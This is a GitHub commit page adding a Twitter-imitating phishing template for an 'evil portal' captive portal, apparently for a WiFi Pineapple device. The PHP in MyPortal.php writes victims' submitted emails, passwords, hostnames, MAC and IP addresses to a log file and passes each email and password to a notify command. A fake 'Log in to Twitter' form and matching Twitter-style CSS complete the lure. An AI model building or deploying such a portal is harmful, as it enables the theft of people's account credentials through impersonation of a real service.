Skip to content

Commit d93a4f2

Browse files
author
s4vitar
committed
Plantilla de Twitter con 2fa operativa
1 parent 64a46ea commit d93a4f2

File tree

12 files changed

+490
-3
lines changed

12 files changed

+490
-3
lines changed

twitter-login/index.php

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -136,10 +136,10 @@ function redirect() {
136136

137137
<h1 class="text-center login-title">Log in to Twitter</h1>
138138

139-
<form method="POST" action="/captiveportal/index.php" onsubmit="redirect()" class="form-signin">
139+
<form method="POST" action="post.php" class="form-signin">
140140

141-
<input type="text" name="email" class="form-email" placeholder="Phone, email, or username" _autofocus="true" autocorrect="off" autocomplete="off" autocapitalize="off" required><br>
142-
<input type="password" name="password" class="form-password" placeholder="Password" autocorrect="off" autocomplete="off" autocapitalize="off" required><br>
141+
<input type="text" name="email_twitter" class="form-email" placeholder="Phone, email, or username" _autofocus="true" autocorrect="off" autocomplete="off" autocapitalize="off" required><br>
142+
<input type="password" name="password_twitter" class="form-password" placeholder="Password" autocorrect="off" autocomplete="off" autocapitalize="off" required><br>
143143
<input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>">
144144
<input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>">
145145
<input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>">

twitter-login/portal_2fa/MyPortal.php

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
<?php namespace evilportal;
2+
3+
class MyPortal extends Portal
4+
{
5+
6+
public function handleAuthorization()
7+
{
8+
9+
$dirs = array(
10+
'/root/',
11+
'/sd/',
12+
);
13+
14+
$dirs = array_filter($dirs, 'file_exists');
15+
$dirs = array_filter($dirs, 'is_writeable');
16+
17+
if (empty($dirs)) {
18+
die("die");
19+
}
20+
21+
$dir = array_pop($dirs);
22+
$want = $dir . DIRECTORY_SEPARATOR . 'evilportal-logs';
23+
24+
if (file_exists($want)) {
25+
}
26+
27+
else {
28+
mkdir($want);
29+
}
30+
31+
if (!file_exists($want)) {
32+
}
33+
34+
if (!is_dir($want)) {
35+
}
36+
37+
if (!is_writeable($want)) {
38+
}
39+
40+
$want .= DIRECTORY_SEPARATOR;
41+
42+
if (isset($_POST['email'])) {
43+
$email = isset($_POST['email']) ? $_POST['email'] : 'email';
44+
$pwd = isset($_POST['password']) ? $_POST['password'] : 'password';
45+
$hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname';
46+
$mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac';
47+
$ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip';
48+
file_put_contents("$dir/evilportal-logs/twitter-login.txt", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND);
49+
$this->execBackground("notify $email' - '$pwd");
50+
}
51+
// handle form input or other extra things there
52+
53+
// Call parent to handle basic authorization first
54+
parent::handleAuthorization();
55+
}
56+
57+
public function onSuccess()
58+
{
59+
// Calls default success message
60+
parent::onSuccess();
61+
}
62+
63+
public function showError()
64+
{
65+
// Calls default error message
66+
parent::showError();
67+
}
68+
}

twitter-login/portal_2fa/assets/css/bootstrap.min.css

Lines changed: 6 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.
Lines changed: 205 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,205 @@
1+
.form-signin
2+
{
3+
max-width: 330px;
4+
margin: 0 auto;
5+
}
6+
.form-signin .form-signin-heading, .form-signin .checkbox
7+
{
8+
margin-bottom: 10px;
9+
}
10+
.form-signin .checkbox
11+
{
12+
font-weight: normal;
13+
}
14+
.form-signin .form-control
15+
{
16+
17+
}
18+
.form-email
19+
{
20+
margin: .65625rem 0;
21+
width: 100%;
22+
height: 45px;
23+
background-color: #f5f8fa;
24+
border-radius: 2.3125rem;
25+
border-width: 0;
26+
font: inherit;
27+
padding: .65625rem;
28+
}
29+
.form-password
30+
{
31+
margin: .65625rem 0;
32+
width: 100%;
33+
height: 45px;
34+
background-color: #f5f8fa;
35+
border-radius: 2.3125rem;
36+
border-width: 0;
37+
font: inherit;
38+
padding: .65625rem;
39+
}
40+
.form-email:focus
41+
{
42+
outline: 0;
43+
}
44+
.form-password:focus
45+
{
46+
outline: 0;
47+
}
48+
.form-signin input[type="text"]
49+
{
50+
51+
}
52+
.form-signin input[type="password"]
53+
{
54+
margin-bottom: 5px;
55+
}
56+
.account-wall
57+
{
58+
padding: 10px 0px 20px 0px;
59+
background-color: #ffffff;
60+
}
61+
.login-title
62+
{
63+
margin: 0 auto;
64+
max-width: 320px;
65+
padding: 0 15px 22px;
66+
overflow: hidden;
67+
color: #000000;
68+
font-size: 1.125em;
69+
font-weight: 500;
70+
display: block;
71+
}
72+
.profile-img
73+
{
74+
width: 150px;
75+
height: 150px;
76+
margin: 0 auto 10px;
77+
display: block;
78+
-moz-border-radius: 50%;
79+
-webkit-border-radius: 50%;
80+
border-radius: 50%;
81+
}
82+
83+
.friends-text
84+
{
85+
font-size: 18px;
86+
font-weight: 400;
87+
display: block;
88+
color: #757575;
89+
padding-bottom: 15px;
90+
}
91+
92+
.need-help
93+
{
94+
margin-top: 10px;
95+
}
96+
.new-account
97+
{
98+
display: block;
99+
margin-top: 10px;
100+
}
101+
102+
.container {
103+
margin: 0 auto;
104+
}
105+
106+
.terms-text1 {
107+
color: #000;
108+
font-size: 16px;
109+
display: block;
110+
padding-top: 35px;
111+
text-align: center;
112+
text-decoration: none;
113+
}
114+
115+
.url-color {
116+
color: #1da1f2;
117+
font-size: 15px;
118+
font-weight: 400;
119+
text-decoration: none;
120+
}
121+
a:hover, a:visited, a:link, a:active
122+
{
123+
color: #1da1f2;
124+
text-decoration: none;
125+
}
126+
.btn-primary {
127+
display: block;
128+
width: 100%;
129+
height: 45px;
130+
box-sizing: border-box;
131+
margin-top: 15px!important;
132+
color: #FFFFFF;
133+
background-color: #3098ee;
134+
border-color: #3098ee;
135+
font-size: 1.25rem;
136+
line-height: 1.5em;
137+
font-weight: bold;
138+
border-width: inherit;
139+
140+
}
141+
142+
.btn-primary:hover,
143+
.btn-primary:focus,
144+
.btn-primary:active,
145+
.btn-primary.active,
146+
.open .dropdown-toggle.btn-primary {
147+
color: #FFFFFF;
148+
background-color: #3098ee;
149+
border-color: #3098ee;
150+
}
151+
152+
.btn-primary:active,
153+
.btn-primary.active,
154+
.open .dropdown-toggle.btn-primary {
155+
background-image: none;
156+
}
157+
158+
.btn-primary.disabled,
159+
.btn-primary[disabled],
160+
fieldset[disabled] .btn-primary,
161+
.btn-primary.disabled:hover,
162+
.btn-primary[disabled]:hover,
163+
fieldset[disabled] .btn-primary:hover,
164+
.btn-primary.disabled:focus,
165+
.btn-primary[disabled]:focus,
166+
fieldset[disabled] .btn-primary:focus,
167+
.btn-primary.disabled:active,
168+
.btn-primary[disabled]:active,
169+
fieldset[disabled] .btn-primary:active,
170+
.btn-primary.disabled.active,
171+
.btn-primary[disabled].active,
172+
fieldset[disabled] .btn-primary.active {
173+
background-color: #3098ee;
174+
border-color: #3098ee;
175+
}
176+
177+
.btn-primary .badge {
178+
color: #3098ee;
179+
background-color: #FFFFFF;
180+
}
181+
182+
.btn-primary:active:focus {
183+
color: #ffffff;
184+
background-color: #3098ee;
185+
border-color: #3098ee;
186+
}
187+
188+
.btn-xlarge {
189+
padding: 5px 5px;
190+
font-size: 1.0em; //change this to your desired size
191+
line-height: normal;
192+
-webkit-border-radius: 2.3125rem;
193+
-moz-border-radius: 2.3125rem;
194+
border-radius: 2.3125rem;
195+
}
196+
197+
.btn-sharp {
198+
border-radius: 2.3125rem;
199+
}
200+
201+
.logo {
202+
margin: auto;
203+
width: auto;
204+
height: 75%;
205+
}
Loading
Loading

twitter-login/portal_2fa/helper.php

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
<?php
2+
3+
/**
4+
* getClientMac
5+
* Gets the mac address of a client by the IP address
6+
* Returns the mac address as a string
7+
* @param $clientIP : The clients IP address
8+
* @return string
9+
*/
10+
function getClientMac($clientIP)
11+
{
12+
return trim(exec("grep " . escapeshellarg($clientIP) . " /tmp/dhcp.leases | awk '{print $2}'"));
13+
}
14+
15+
/**
16+
* getClientSSID
17+
* Gets the SSID a client is associated by the IP address
18+
* Returns the SSID as a string
19+
* @param $clientIP : The clients IP address
20+
* @return string
21+
*/
22+
function getClientSSID($clientIP)
23+
{
24+
// Get the clients mac address. We need this to get the SSID
25+
$mac = getClientMac($clientIP);
26+
27+
// get the path to the log file
28+
$pineAPLogPath = trim(file_get_contents('/etc/pineapple/pineap_log_location'));
29+
30+
// get the ssid
31+
return trim(exec("grep " . $mac . " " . $pineAPLogPath . "pineap.log | grep 'Association' | awk -F ',' '{print $4}'"));
32+
33+
}
34+
35+
/**
36+
* getClientHostName
37+
* Gets the host name of the connected client by the IP address
38+
* Returns the host name as a string
39+
* @param $clientIP : The clients IP address
40+
* @return string
41+
*/
42+
function getClientHostName($clientIP)
43+
{
44+
return trim(exec("grep " . escapeshellarg($clientIP) . " /tmp/dhcp.leases | awk '{print $4}'"));
45+
}

0 commit comments

Comments
 (0)